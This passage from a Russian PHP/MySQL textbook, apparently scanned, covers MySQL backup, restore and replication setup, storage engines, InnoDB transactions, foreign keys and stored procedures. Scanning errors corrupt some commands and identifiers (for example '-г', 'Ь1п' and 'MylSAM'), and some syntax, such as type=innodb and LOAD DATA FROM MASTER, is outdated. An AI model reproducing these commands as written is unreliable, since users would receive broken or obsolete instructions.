Резервное копирование базы данных MySQL MySQL предлагает несколько способов выполнения резервного копирования. Первый из них предполагает блокировку таблиц на время копирования физических файлов с помощью команды LOCK TABLES, которая имеет следующий синтаксис: LOCK TABLES таблица тип_блокировки [, таблица тип_блокировки .. . ] Каждый параметр таблица должен быть именем таблицы, а значением параметра тип_блокировки должно быть либо READ либо WRITE. Для резервного копирования необходима блокировка чтения (READ). Перед выполнением резервного копирования потребуется выполнить команду FLUSH TABLES; для гарантированной записи на диск любых изменений в индексах. Во время резервного копирования пользователи и сценарии могут выполнять за- просы, но только для чтения. Поэтому, при наличии большого числа запросов, изме- няющих базу данных, например, заказов, которые поступают от клиентов, подобное решение не годится. Второй и более совершенный способ состоит в использовании команды mysql_ dump. Она запускается из командной строки и, как правило, выглядит примерно так: mysqldump —opt —all-databases > all.sql Эта команда записывает все SQL-команды, необходимые для восстановления базы данных, в файл all.sql. Затем потребуется временно остановить процесс mysqld и перезапустить его с па- раметром —log-bin [=файл_журнала]. Обновления, хранящиеся в файле журнала, позволяют получить данные изменений, выполненных с момента резервного копиро- вания. (Понятно, что в ходе каждого обычного резервного копирования необходимо выполнять резервное копирование и файлов журнала.) Третий метод предполагает использование сценария mysql hot с ору. Он вызывает- ся следующим образом: mysqlhotcopy база_данных /путь/к/резервной_копии Далее необходимо выполнить действия по запуску и останову базы данных, кото- рые были описаны выше. Последний (и наиболее надежный) метод выполнения резервного копирования состоит в поддержании реплицированной копии базы данных. Репликация рассмат- ривается далее в данной главе. Восстановление базы данных MySQL Для восстановления базы данных MySQL также существует несколько подхо- дов. Если проблема связана с поврежденной таблицей, можно запустить команду myisamchk с параметром -г (“repair” — “восстановление”). Если для создания резервной копии использовался первый из описанных в пре- дыдущем разделе методов, файлы данных можно скопировать в те же каталоги новой установки MySQL. Если для копирования применялся второй метод, придется выполнить несколько шагов. Вначале следует выполнить запросы, записанные в файле резервной копии. Это позволит воссоздать базу данных на момент сохранения. Затем потребуется об- Глава 12. Дополнительные сведения по администрированию MySQL 299
новить базу данных до состояния, которое было сохранено в бинарном журнале. Это можно сделать с помощью следующей команды: mysqlbinlog имя_хоста-Ь1п. [0-9] * | mysql Дополнительную информацию о процессе резервного копирования и восстановле- ния баз данных MySQL можно найти на веб-сайте MySQL по адресу: http://www.mysql.com Реализация репликации Репликация (replication) — это технология, которая позволяет использовать не- сколько серверов баз данных для обработки одних и тех же данных. Она позволяет за- гружать совместно используемые данные и повышает надежность системы: если один из серверов выходит из строя, остальные серверы будут продолжать обслуживать за- просы. После развертывания такой системы ее можно использовать также для целей резервного копирования. Основная идея этого подхода заключается в том, что организуется ведущий сервер репликации и несколько ведомых серверов. Каждый из ведомых серверов является зер- кальным отражением ведущего. При первоначальном создании ведомых серверов на них копируется снимок всех данных, хранящихся на ведущем сервере в данный мо- мент времени. После этого ведомые серверы запрашивают обновления с ведущего сервера. Ведущий сервер передает информацию о запросах, которые были выполне- ны, из своего бинарного журнала, а ведомые сервера применяют эту информацию к данным. Обычный способ использования этой технологии — применение запросов записи к ведущему серверу и запросов чтения—к ведомым. Этот подход реализуется через логику приложения. Возможно использование и более сложной архитектуры, скажем, несколь- ких ведущих серверов, но мы рассмотрим только типичный пример. Следует отметить, что в отличие от ведущего, ведомые серверы, как правило, со- держат не самые свежие данные. Подобное несоответствие имеет место в любой рас- пределенной базе данных. Чтобы приступить к развертыванию архитектуры с применением ведущего и ведо- мых серверов, потребуется включить ведение бинарного журнала на ведущем сервере. Вопросы активизации бинарного журнала рассматриваются в приложении А. Необходимо также внести изменения в файлы my.ini или my. cnf на ведущем и ведомых серверах. На ведущем сервере файл должен содержать следующие записи: [mysqld] log-bin server-id=l Первая запись включает ведение бинарного журнала (следовательно, она должна уже присутствовать; в противном случае добавьте ее). Вторая запись присваивает ве- дущему серверу уникальный идентификатор. Каждый из ведомых серверов также ну- ждается в идентификаторе, поэтому аналогичную строку следует добавить и в файлы my. ini/ту. cnf на каждом из ведомых серверов. Эти номера должны быть уникаль- ными! Например, первый ведомый сервер может содержать запись server-id=2; сле- дующий — server-id=3; и т.д. 300 Часть II. Использование MySQL
Настройка ведущего сервера На ведущем сервере необходимо создать пользователя, под именем которого к нему будут подключаться ведомые серверы. Для них существует специальный уровень полномочий, называемый ведомым сервером репликации (replication slave). В зависимо- сти от того, как предйолагается выполнять первоначальную передачу данных, им, воз- можно, придется временно предоставить ряд дополнительных полномочий. В большинстве случаев для передачи данных будет использоваться снимок базы данных, и в этом случае необходимы только специальные полномочия ведомого сер- вера репликации. Если для передачи данных будет применяться команда LOAD DATA FROM MASTER (она описана в следующем разделе), этому пользователю требуются так- же полномочия RELOAD, SUPER и SELECT, но только для выполнения начальной на- стройки. В соответствие с принципом наименьших полномочий, сформулированным в главе 9, эти полномочия нужно будет отозвать после успешного запуска системы. Создайте пользователя на ведущем сервере. Ему можно присвоить любое имя и лю- бой пароль, однако эту информацию потребуется запомнить или записать. В нашем примере мы назвали этого пользователя repslave: grant replication slave on *.* to ’rep_slave'@'%’ identified by 'пароль ; Понятно, что пароль нужно заменить более приемлемым. Выполнение первоначальной передачи данных Передачу данных с ведущего сервера на ведомый можно выполйить несколькими способами. -Проще всего установить ведомые серверы (этот процесс описан в сле- дующем разделе), а затем выполнить оператор LOAD DATA FROM MASTER. Проблема, связанная с применением этого подхода, состоит в том, что он блокирует таблицы на ведущем сервере на время передачи данных, которое может оказаться достаточ- но длительным. Поэтому использовать его не рекомендуется. (Его можно применять только в отношении таблиц Му ISAM.) В общем случае лучше получить снимок базы данных на конкретный момент вре- мени. Это делается с помощью процедур создания резервных копий, которые описа- ны в предыдущих разделах этой главы: flush tables with read lock; Причина применения блокировки чтения связана с необходимостью записать по- зицию сервера в бинарном журнале на момент получения снимка базы данных. Это можно выполнить с использованием следующего оператора: - show master status; Полученный вывод должен быть аналогичен показанному ниже: | File I Position | Binlog_Do_DB | Binlog_Ignore_DB | +-------------------+----------+-------------+-----------------+ | laura-ltc-bin.000001 | 95 | I I Обратите внимание на столбцы File (Файл) и Position (Позиция); эта информа- ция потребуется во время установки ведомых серверов. Глава 12. Дополнительные сведения по администрированию MySQL 301
Теперь получите снимок и разблокируйте таблицы, выполнив оператор: unlock tables; В случае применения таблиц InnoDB проще всего воспользоваться утилитой InnoDB Hot Backup, которая доступна на сайте Innobase Оу по адресу http:// www. innodb. com. Она не является бесплатной, поэтому придется заплатить за лицен- зию. В качестве альтернативы можно прибегнуть к ранее описанной процедуре и, пре- жде чем снимать блокировку таблиц, остановить сервер MySQL и скопировать весь каталог базы данных, предназначенной для репликации, после чего перезапустить сервер и разблокировать таблицы. - Создание одного или нескольких ведомых серверов Доступны два варианта создания одного или нескольких ведомых серверов. Если ранее был получен снимок базы данных, начните с его установки на ведомом сервере. Затем на ведомом сервере выполните следующие запросы: change master to master-host= 'сервер', master-user=’пользователь’, master-password=’пароль’, master-log-file=’файл_журнала', master-log-pos=позиция_в_журна ле; start slave; Вместо заполнителей, выделенных курсивом, необходимо подставить конкретные значения. Заполнитель сервер — это имя ведущего сервера. Значения пользователь и пароль должны соответствовать указанным в операторе GRANT, который'Выполнял- ся на ведущем сервере. Значения файл_журнала и позиция_в_журнале соответствуют приведенным в выводе оператора SHOW MASTER STATUS, который был выполнен на ведущем сервере. Теперь система должна быть настроена и нормально функционировать. Если снимок базы данных не был получен, после выполнения предыдущего запро- са данные можно загрузить с ведущего сервера с помощью следующего оператора: load data from master; Дополнительные источники информации В главах, посвященных MySQL, основное внимание было уделено тем примене- ниям и компонентам системы, которые имеют наибольшее значение для разработки веб-приложений и для связывания MySQL и РНР. Дополнительную информацию по вопросам администрирования MySQL можно получить на веб-сайте MySQL по аДресу http://www.mysql.com. Полезную информацию можно почерпнуть также из книг MySQL. Руководство адми- нистратора (Издательский дом “Вильямс”, 2005 г.) или третьего издания книги Поля Дюбуа (Paul Dubois) MySQL (Издательский дом “Вильямс”, 2005 г.). Что дальше В следующей главе мы рассмотрим более сложные функциональные возможности MySQL, которые полезны при разработке веб-приложений, в том числе способы ис- пользования различных механизмов хранения, транзакций и хранимых процедур. 302 Часть II. Использование MySQL
13 Дополнительные сведения по программированию в MySQL В этой главе рассматриваются более сложные вопросы, связанные с MySQL, включая типы таблиц, транзакции и хранимые процедуры. В главе рассматриваются следующие темы. Оператор LOAD DATA INFILE. Механизмы хранения. Транзакции. Внешние ключи. Хранимые процедуры. Оператор load data infile Одной из ранее не рассматриваемых полезных функций MySQL является оператор LOAD DATA INFILE. Его можно использовать для загрузки данных из файла. Этот опера- тор выполняется очень быстро. Эта предоставляющая множество возможностей команда принимает набор пара- метров; типичная форма ее применения выглядит следующим образом: LOAD DATA INFILE "newbooks.txt" INTO TABLE books; Показанная строка кода считывает данные из файла newbooks .txt в таблицу books. По умолчанию поля данных в файле должны разделяться символами табуля- ции и быть заключены в одинарные кавычки, а строки должны разделяться символом новой строки (\п). Специальные символы должны быть литерализованы с помощью обратного слеша (\). Все эти характеристики можно настроить с помощью парамет- ров оператора LOAD; для получения более подробной информации обратитесь к руко- водству по MySQL. Чтобы иметь возможность использовать оператор LOAD DATA INFILE, пользователь должен обладать полномочиями FILE, описанными в главе 9. Глава 13. Дополнительные сведения по программированию в MySQL 303
Механизмы хранения MySQL поддерживает различные механизмы хранения, которые иногда называют- ся также типами таблиц. Это означает, что программист может выбирать внутреннюю реализацию таблиц. Каждая таблица в базе данных может использовать свой механизм хранения, причем MySQL обеспечивает простое преобразование из одного механиз- ма в другой. Тип таблицы можно выбрать во время ее создания с помощью следующего оператора: CREATE TABLE имя_таблицы . . . Ниже перечислены возможные типы таблиц. MylSAM. Этот тип используется по умолчанию, и именно он применялся в книге до сих пор. Он построен на основе традиционного типа ISAM, название которого представляет собой аббревиатуру от Indexed Sequential Access Method (ин- дексно-последовательный метод доступа) — стандартного метода хранения запи- сей и файлов. В отличие от ISAM, MylSAM предоставляет ряд дополнительных преимуществ. По сравнению с другими механизмами хранения MylSAM обес- печивает наибольшее количество средств проверки и восстановления таблиц. Таблицы MylSAM допускают сжатие и поддерживают полнотекстовый поиск. Тем не менее, они не обеспечивают безопасное выполнение транзакций и не поддерживают внешние ключи. MEMORY (ранее этот тип называли HEAP).Таблицы этого типа хранятся в памяти, а их индексы хешируются. Обработка таблиц MEMORY выполняется очень быстро, однако любой сбой приводит к потере данных. Перечисленные характеристики делают таблицы типа MEMORY идеально подходящим для хра- нения временных данных или данных, полученных в результате вычислений. При использовании этого типа в операторе CREATE TABLE необходимо указы- вать параметр MAX_ROWS (максимальное число строк); в противном случае эти таблицы могут занять всю память. Кроме того, эти таблицы не могут содержать столбцы типа BLOB, TEXT или AUTO INCREMENT. MERGE. Эти таблицы позволяют при запросах выполнять обработку коллекции таблиц MylSAM как единой таблицы. В результате удается обходить ограничения на максимальный размер файлов в некоторых операционных системах. ARCHIVE. Эти таблицы могут хранить большие объемы данных, но с огра- ниченными возможностями. Такие таблицы поддерживают только запросы INSERT и SELECT, но не поддерживают DELETE, UPDATE или REPLACE. Кроме того, не допускается использование индексов. CSV. Эти таблицы хранятся на сервере в виде единых файлов, которые со- держат разделенные запятыми значения. Эти таблицы удобны лишь тогда, когда нужно просмотреть или как-то обработать данные во внешнем прило- жении работы с электронными таблицами наподобие Microsoft Excel. InnoDB. Эти таблицы обеспечивают безопасное выполнение транзакций, т.е. поддерживают возможности COMMIT и ROLLBACK. Таблицы InnoDB также под- держивают внешние ключи. Они работают медленнее таблиц MylSAM, зато по- зволяют использовать в приложениях транзакции. В большинстве веб-приложений лучше применять таблицы MylSAM или InnoDB, либо их сочетание. 304 Часть II. Использование MySQL
Таблицы MylSAM следуем использовать в тех случаях, когда в таблицах приходит- ся выполнять много операций SELECT или INSERT (но не и тех и других одновре- менно), поскольку они обеспечивают наиболее быстрое их выполнение. Для многих веб-приложений, таких как каталоги, MylSAM является лучшим выбором. Таблицы MylSAM следует применять и тогда, когда необходимы возможности полнотекстового поиска. Таблицы InfioDB следует использовать в тех случаях, когда важно обеспечить выполнение транзакций, например, в таблицах финансовых данных или в ситуациях поочередного применения операций INSERT и SELECT (например, на сетевых досках объявлений или форумах). Тип MEMORY можно использовать для временных таблиц или для реализации представлений, а тип MERGE — когда приходится иметь дело с очень большими таб- лицами MylSAM. После создания тип таблицы можно изменить с помощью оператора ALTER TABLE, как показано в следующем примере: alter table orders type=innodb; alter table order_items type=innodb; В большинстве примеров в этой книге применяются таблицы MylSAM. А теперь уделим немного времени использованию транзакций и способам их реализации в таб- лицах InnoDB. Транзакции Транзакции — это механизмы обеспечения целостности баз данных, особенно в слу- чаях ошибок или отказа сервера. В последующих разделах вы узнаете, что представля- ют собой транзакции, и как их можно реализовать с помощью таблиц InnoDB. Определения транзакций Прежде всего, дадим определение термину транзакция. Транзакция — это запрос или набор запросов, который гарантированно будет выполнен в базе данных полно- стью, либо не будет выполнен вовсе. В результате база данных сохраняет свою целост- ность независимо от успешности завершения транзакции. Чтобы понять, почему эта возможность может оказаться настолько важной, рас- смотрим банковскую базу данных. Представьте себе ситуацию, в которой нужно вы- полнить перевод денег с одного счета на другой. Это действие предполагает снятие денег с одного счета и помещение их на другой, для чего потребуется выполнение, как минимум двух запросов. Необходимо, чтобы были выполнены или не выполнены оба эти запроса. Что произойдет, если деньги будут сняты с,одного счета, а напряже- ние в сети пропадет прежде, чем они будут помещены на другой счет? Означает ли это, что деньги просто “исчезнут”? Возможно, вы сталкивались с понятием соответствия ACID. Аббревиатура ACID (atomicity, consistency, isolation, durability — атомарность, целостность, изоляция, по- стоянство) представляет собой способ описания четырех требований, которым долж- ны удовлетворять транзакции. Атомарность. Транзакция должна быть атомарной, т.е. либо выполняться пол- ностью, либо не выполняться вообще. Целостность. Транзакция должна оставлять базу данных в целостном состоянии. Глава 13. Дополнительные сведения по программированию в MySQL 305
Изоляция. Незавершенные транзакции не должны быть видимы другим поль- зователям базы данных; т.е. до тех пор, пока они не завершены, транзакции должны оставаться изолированными. Постоянство. После сохранения в базе данных результаты выполнения тран- закции должны быть долговременными или постоянными. Транзакция, результат выполнения которой записан в базу данных, называют зафик- сированной. Транзакция, результат выполнения которой не записан в базу данных — т.е. база данных возвращена в то состояние, каком она была до начала выполнения транзак- ции — называют отмененной транзакцией. Использование транзакций с таблицами InnoDB По умолчанию MySQL работает в режиме автоматической фиксации. Это означает, что результат каждого выполненного оператора немедленно записывается в базу дан- ных (фиксируется). При использовании типа таблиц, поддерживающего безопасное выполнение транзакций, такое поведение, скорее всего, будет неприемлемым. Чтобы в текущем сеансе отключить режим автоматической фиксации, введите сле- дующую команду: set autocommit=0; Если режим автоматической фиксации включен, транзакция должна начинаться с оператора start transaction; Если упомянутый режим отключен, эта команда не нужна, поскольку транзакция будет автоматически запущена после ввода оператора SQL. По завершении ввода операторов, образующих транзакцию, их можно зафиксиро- вать в базе данных с помощью следующей команды: commit; Если же вы передумали, к предыдущему состоянию базы данных можно вернуться, набрав команду: rollback; До тех пор, пока транзакция не была зафиксирована, она не будет видима другим пользователям или в других сеансах. Рассмотрим пример. Если это еще не было сделано, выполните приведенные в предыдущем разделе операторы ALTER TABLE применительно к базе данных books, как показано в следующем примере: alter table orders type=innodb; alter table order_items type=innodb; Эти операторы преобразуют две таблицы в таблицы InnoDB. (Впоследствии при желании можно будет выполнить обратное преобразование с помощью того же опе- ратора, но на этот раз с параметром type=MyISAM.) Теперь откройте два соединения с базой данных books. В одном соединении до- бавьте в базу данных новую запись заказа: insert into orders values (5, 2, 69.98, '2008-06-18'); insert into order_items values (5, '5-8459-0046-8', 1); 306 Часть II. Использование MySQL
Теперь посмотрите, видим ли новый заказ: select * from orders where orderid=5; Заказ должен быть присутствовать в выходной информации: +--------+------------+--------+---------+ I orderid I customerid | amount I date | +--------+------------+--------+---------+ | 5| 2 | 69.98 | 2008-06-18 | +--------+------------+--------+---------+ Оставив текущее соединение открытым, перейдите к другому соединению и вы- полните такой же запрос select. Заказ не должен отображаться в выводе: Empty set (0.00 sec) (Если он все же отображается, скорее всего, вы забыли отключить режим авто- матической фиксации. Проверьте это, а также то, что таблица была преобразова- на в формат InnoDB.) Это обусловлено тем, что транзакция еще не зафиксирована. (Приведенный пример хорошо иллюстрирует действие изоляции транзакций.) Вернитесь к первому соединению и зафиксируйте транзакцию: commit; Теперь соответствующая строка должна быть видна и во втором соединении. Внешние ключи Тип InnoDB поддерживает также внешние ключи. Как вы, вероятно, помните, мы рассматривали концепцию внешних ключей в главе 8. При использовании таблиц типа MylSAM применение внешних ключей невозможно. Например, рассмотрим вставку строки в таблицу order iterns. При этом необхо- димо указывать допустимое значение столбца orderid. В случае использования таб- лицы MylSAM допустимость вставляемого значения orderid приходится проверять где-то в коде приложения. Применение внешних ключей в таблице InnoDB позволяет поручить выполнять эту проверку базе данных. Рассмотрим, как определяются внешние ключи. Чтобы создать таблицу, которая использует внешний ключ с самого начала, можно следующим образом изменить со- ответствующий DDL-оператор: create table order_items ( orderid int unsigned not null references orders(orderid), isbn char (13) not null, quantity tinyint unsigned, primary key (orderid, isbn) ) type=InnoDB; После orderid мы добавили слова references orders (orderid). Это означает, что данный столбец является внешним ключом, который должен содержать значение из столбца orderid таблицы orders. Кроме того, в конец объявления помещен тип таблицы type=InnoDB. Это требует- ся для обеспечения работы внешних ключей. Эти же изменения можно внести в существующую таблицу с помощью операторов ALTER TABLE: alter table order_items type=InnoDB; alter table order_items add foreign key (orderid) references orders(orderid); Глава 13. Дополнительные сведения по программированию в MySQL 307
Чтобы убедиться в работе этого изменения, можно попытаться вставить стро- ку, содержащую значение поля ordered, которое не имеет соответствия в таблице orders: insert into order_items values (77z '0-672-31697-8’, 7); Вы должны получить примерно такое сообщение об ошибке: ERROR 1216 (23000) : Cannot add or update a child row: a foreign key constraint fails ОШИБКА 1216 (23000) : Невозможно добавить или обновить дочернюю строку: ошибка ограничения внешнего ключа Хранимые процедуры Хранимая процедура — это программная функция, которая создается и хранится в базе данных MySQL. Она может состоять из SQL-операторов и ряда специальных управляющих структур. Хранимая процедура может быть полезна, когда одну и ту же функцию необходимо выполнять из различных приложений или с различных плат- форм, либо для инкапсуляции функциональных возможностей. Хранимые процедуры в базе данных можно считать аналогом объектно-ориентированного подхода в про- граммировании. Они позволяют управлять способом доступа к данным. А теперь рассмотрим простой пример. Простой пример В листинге 13.1 приведено объявление хранимой процедуры. Листинг 13.Lbasic stored procedure.sql — объявление хранимой процедуры # Простой пример хранимой процедуры delimiter // create procedure total_orders (out total float) BEGIN select sum(amount) into total from orders; END // delimiter ; Рассмотрим этот код строка за строкой. Первый оператор: delimiter // изменяет ограничитель конца оператора с текущего значения — как правило, точки с запятой, если это не было изменено ранее — на два символа косой черты. Это необхо- димо для того, чтобы ограничитель в виде точки с запятой можно было использовать внутри хранимой процедуры при вводе ее кода, и чтобы MySQL не пытался выпол- нять код во время ввода. Следующая строка: create procedure total_orders (out total float) 308 Часть II. Использование MySQL
создает собственно хранимую процедуру. Ей присваивается имя total orders. Она содержит единственный параметр total — значение, которое будет вычисляться. Слово OUT показывает, что этот параметр должен возвращаться из процедуры. Параметры могут быть объявлены также как IN, что означает, что значение пере- дается внутрь процедуры, либо как INOUT, что означает, что значение передается в процедуру, но может ею изменяться. Слово float задает тип параметра. В данном случае мы возвращаем сумму всех за- казов в таблице orders. Тип столбца orders — float, поэтому возвращаемым типом также является float. Допустимые типы данных преобразуются в доступные типы столбцов. Если хранимой процедуре нужно передать более одного параметра, это можно де- лать с помощью разделенного запятыми списка, как в коде РНР. Тело процедуры размещается между операторами BEGIN и END. Они аналогичны фигурным скобкам внутри кода РНР ({}), поскольку ограничивают блок операторов. В теле просто выполняется оператор SELECT. Единственное отличие от обычного использования этого оператора состоит в том, что в него включено выражение into total для загрузки результата выполнения запроса в параметр total. По завершении объявления процедуры в качестве ограничителя снова определя- ется точка с запятой: delimiter ; После того как процедура объявлена, ее можно вызывать с помощью ключевого слова call, как показано в следующем примере: call total_orders(@t); Этот оператор вызывает хранимую процедуру total orders и передает ей пере- менную для сохранения результата. Чтобы увидеть результат, необходимо просмот- реть содержимое переменной: select @t; Результат выполнения этой команды должен быть подобен показанному ниже: +----------------+ I @t | +----------------+ I 289.92001152039 | +----------------+ Аналогично созданию процедуры можно создать функцию. Функция принимает входные параметры (только входные) и возвращает единственное значение. Общий синтаксис выполнения этой задачи почти такой же. Пример функции по- казан в листинге 13.2. Листинг 13.2. basic_function. sql — объявление хранимой функции # Общий синтаксис создания функции delimiter // create function add_tax (price float) returns float return price*1.1; // delimiter ; Глава 13. Дополнительные сведения по программированию в MySQL 309
Как видите, в этом примере вместо ключевого слова procedure используется ключе- вое слово function. Есть и несколько других различий. Параметры не обязательно указывать с атрибутами IN или OUT, поскольку все они являются параметрами типа IN, т.е. входными параметрами. За списком параметров следует выражение returns float. Оно задает тип возвращаемого значения. Это зна- чение может иметь любой из допустимых типов MySQL. Возврат значения выполняется с помощью оператора return подобно тому, как это делается в РНР. Обратите внимание, что в этом примере операторы BEGIN и END не используются. Их можно применять, однако они не обязательны. Как и в РНР, если блок операторов содержит только один оператор, его начало и конец помечать не обязательно. Вызов функции несколько отличается от вызова процедуры. Она вызывается ана- логично вызову встроенной функции. Например: select add_tax(100); Этот оператор должен вернуть следующий результат: +-------------+ I add_tax(100) | +-------------+ I 1Ю | +-------------+ После того, как процедуры и функции определены, код, который был использован для их определения, можно просмотреть, например, с помощью такого оператора: show create procedure total_orders; или show create function addtax; Их можно удалить с помощью оператора drop procedure total_orders; или drop function add_tax; Хранимые процедуры допускают использование управляющих структур, перемен- ных, обработчиков DECLARE (подобно исключениям), а также важных компонентов, называемых курсорами (cursor). Каждый из этих компонентов будет кратко рассмотрен в последующих разделах. Локальные переменные Локальные переменные можно объявить внутри блока begin. . end с помощью опе- ратора declare. Например, функцию add tax можно было бы изменить, чтобы для хранения налоговой ставки она использовала локальную переменную, как показано в листинге 13.3. Листинг 13.3. basic_function_with_variables. sql — объявление хранимой функции с переменными # Общий синтаксис создания функции delimiter // 310 Часть II. Использование MySQL
create function add_tax (price float) returns float begin declare tax float default 0.10; return price*(1+tax); end // delimiter ; Как видите, для объявления переменной используется ключевое слово declare, за которым следуют имя переменной и тип. Выражение default не обязательно; оно указывает начальное значение переменной. Затем переменную можно использовать, как обычно. Курсоры и управляющие структуры Рассмотрим более сложный пример. Для этого мы создадим хранимую процедуру, которая выясняет, какой заказ имел максимальную общую стоимость, и возвращает значение orderid. (Конечно, такое значение достаточно легко можно было бы выяс- нить с помощью единственного запроса, но этот простой пример иллюстрирует при- менение курсоров и управляющих структур.) Код этой хранимой процедуры показан в листинге 13.4. Листинг 13.4. control—StructureS—Gursors. sql — использование курсоров и циклов для вычисления результирующего набора # Процедура для поиска orderid с максимальной суммой заказа. # Эту задачу можно было вы выполнить с помощью функции max, но данная # процедура служит лишь для иллюстрации принципов использования # хранимых процедур. delimiter // create procedure largest_order(out largest_id int) begin declare this_id int; declare this_amount float; declare l_amount float default 0.0; declare l_id int; declare done int default 0; declare continue handler for sqlstate '02000' set done =1; declare cl cursor for select orderid, amount from orders; open cl; repeat fetch cl into this_id, this_amount; if not done then if this_amount > l_amount then set l_amount=this_amount; set l_id=this_id; end if; end if; until done end repeat; close cl; set largest_id=l_id; end // delimiter ; Глава 13. Дополнительные сведения по программированию в MySQL 311
В этом коде задействованы управляющие структуры (какусловия, так и циклы), кур- соры и обработчики объявлений. Рассмотрим его строка за строкой. В начале процедуры мы объявляем несколько локальных переменных, которые будут использоваться внутри нее. Переменные this id и this amount хранят зна- чения полей orderid и amount текущей строки. Переменные l amount и l id слу- жат для хранения суммы максимального заказа и соответствующего идентификатора. Поскольку максимальная сумма заказа будет вычисляться путем сравнения каждого значения с текущим наибольшим значением, этой переменной присвоено начальное значение, равное нулю. Следующая объявленная переменная — done, которой присвоено начальное значе- ние, равное нулю (false). Эта переменная представляет собой флаг цикла. Когда строк для просмотра больше не останется, ее значение будет установлено равным 1 (true). Строка declare continue handler for sqlstate *02000' set done = 1; называется обработчиком объявления (declare handler). В хранимых процедурах он по- добен исключению. Кроме обработчиков объявления, имеются обработчики продол- жения и обработчики выхода. Обработчики продолжения, подобные приведенному выше, выполняют указанное действие, а затем продолжают выполнение процедуры. Обработчики выхода выполняют выход из ближайшего блока begin. . end. Следующая часть обработчика объявления указывает условие вызова этого обработчика. В данном случае он будет вызываться при достижении состояния sqlstate ’ 02000 ’. Это условие может казаться весьма загадочным. В действительно- сти же оно означает, что обработчик будет вызываться, если ни одна строка не най- дена. Результирующий набор обрабатывается строка за строкой, и когда строк для об- работки не остается, процедура вызовет этот обработчик. С таким же успехом можно было бы указать параметр FOR NOT FOUND. Другими возможными параметрами являют- ся SQLWARNING и SQLEXCEPTION. Следующий компонент, с которым необходимо ознакомиться — курсор (cursor). Курсор ничем не отличается от массива; он извлекает результирующий набор запро- са (такой, как возвращаемый функцией mysqli query ()) и позволяет выполнить его построчную обработку (как, например, с помощью функции mysqli fetch row ()). Рассмотрим следующий курсор: declare cl cursor for select orderid, amount from orders; Этот курсор имеет имя cl. Это всего лишь определение того, что он будет содер- жать. Сам запрос пока не выполняется. Следующая строка: open cl; в действительности выполняет запрос. Для получения каждой строки данных потребу- ется выполнить оператор fetch. Это делается в цикле repeat. В данном случае цикл выглядит следующим образом: repeat until done end repeat; Обратите внимание, что условие (until done) не проверяется до завершения процедуры. Хранимые процедуры поддерживают также циклы while вида: while условие do end while; 312 Часть II. Использование MySQL
Существуют также циклы loop: loop end loop Эти циклы не имеют встроенных условий, но выход из них может быть выполнен с помощью оператора leave;. Обратите внимание на отсутствие циклов for. Следующая строка в коде примера загружает строку данных: fetch cl into this_id, this_amount; Эта строка извлекает строку из запроса курсора. Два атрибута, полученные запро- сом, сохраняются в двух указанных локальных переменных. Затем с помощью двух операторов IF мы проверяем, была ли получена строка, после чего сравниваем текущую сумму цикла с максимальной сохраненной суммой заказа: if not done then if this_amount > l_amount then set l_amount=this_amount; set l_id=this_id; end if; end if; Обратите внимание, что значения переменных устанавливаются с помощью опе- ратора set. Помимо структуры if. . then хранимые процедуры поддерживают также конструк- цию if. . then. . else, которая имеет следующую форму: if условие then [elseif условие then] [else] end if Можно также использовать оператор case, форма которого показана ниже: case значение when значение then оператор [when значение then оператор . . .] [else оператор] end case Теперь вернемся к нашему примеру. После того как цикл прерван, необходимо вы- полнить небольшую очистку: close cl; set largest_id=l_id; Оператор close закрывает курсор. И, наконец, мы устанавливаем значение параметра OUT равным вычисленному зна- чению. Параметр нельзя использовать в качестве временной переменной, а только для хранения конечного значения. (Такое применение параметров аналогично их ис- пользованию в ряде других языков программирования, подобных Ada.) Если эта процедура была создана, как описано в данной главе, ее можно вызвать как любую другую процедуру: Глава 13. Дополнительные сведения по программированию в MySQL 313
call largest_order(@1); select @1; При этом вывод должен быть похож на показанный ниже: -i----1_ I @1 I +-----+ 13 - | +-----+ Можете сами проверить правильность результата. Дополнительные источники информации В этой главе мы кратко ознакомились с функционированием и применением хра- нимых процедур. Дополнительную информацию о хранимых процедурах можно полу- чить в руководстве по MySQL. Для получения дополнительной информации по оператору LOAD DATA INFILE, раз- личным механизмам хранения и хранимым процедурам обратитесь к руководству по MySQL. Тем, кого интересуют вопросы транзакций и целостности баз данных, мы реко- мендуем ознакомиться с одной из фундаментальных работ по реляционным базам данных — книге К. Дж. Дейта (С. J. Date) Введение в системы баз данных, 8-е издание (Издательский дом “Вильямс”, 2005 г.). Что дальше Вы ознакомились с основами применения РНР и MySQL. В главе 14 будут рассмот- рены аспекты настройки веб-сайтов, использующих базы данных, которые связаны с электронной коммерцией и безопасностью. 314 Часть II. Использование MySQL
Ill Электронная коммерция и безопасность В ЭТОЙ ЧАСТИ... Глава 14. Эксплуатация сайта электронной коммерции Глава 15. Безопасность сайта электронной коммерции Глава 16. Безопасность веб-приложений Глава 17. Реализация аутентификации с помощью РНР и MySQL Глава 18. Реализация защищенных транзакций с помощью РНР и MySQL
14 Эксплуатация сайта электронной коммерции В этой главе рассматриваются некоторые вопросы, связанные с описанием требо- ваний, проектированием, созданием и эксплуатацией сайта электронной ком- мерции. В ней будут рассмотрено планирование, возможные риски и методы дости- жения самоокупаемости веб-сайта. В главе рассматриваются следующие темы. Определение целей, преследуемых сайтом электронной коммерции: Типы коммерческих веб-сайтов. Риски и угрозы. Выбор стратегии. Определение целей, которые должны быть достигнуты Прежде чем с головой погрузиться в разработку веб-сайта и всех составляющих его компонентов, следует уяснить для себя задачи, которые призван решать создавае- мый сайт, и уже исходя из этого, составить более или менее подробный план реали- зации таких задач. В данной книге мы будем исходить из предположения, что создается именно ком- мерческий веб-сайт. Следовательно, одна из основных задач заключается в получе- нии прибыли. Существует немало способов коммерческого подхода к Интернету. Через Интернет можно рекламировать услуги либо продавать обычные товары. Посредством сети можно не только продавать, но и доставлять некоторые товары. Возможно, ваш сайт и не предназначен для непосредственного получения прибыли, однако он может обеспечивать определенную поддержку несетевых коммерческих операций либо ис- пользоваться в качестве более дешевой рекламы. 316 Часть III. Электронная коммерция и безопасность
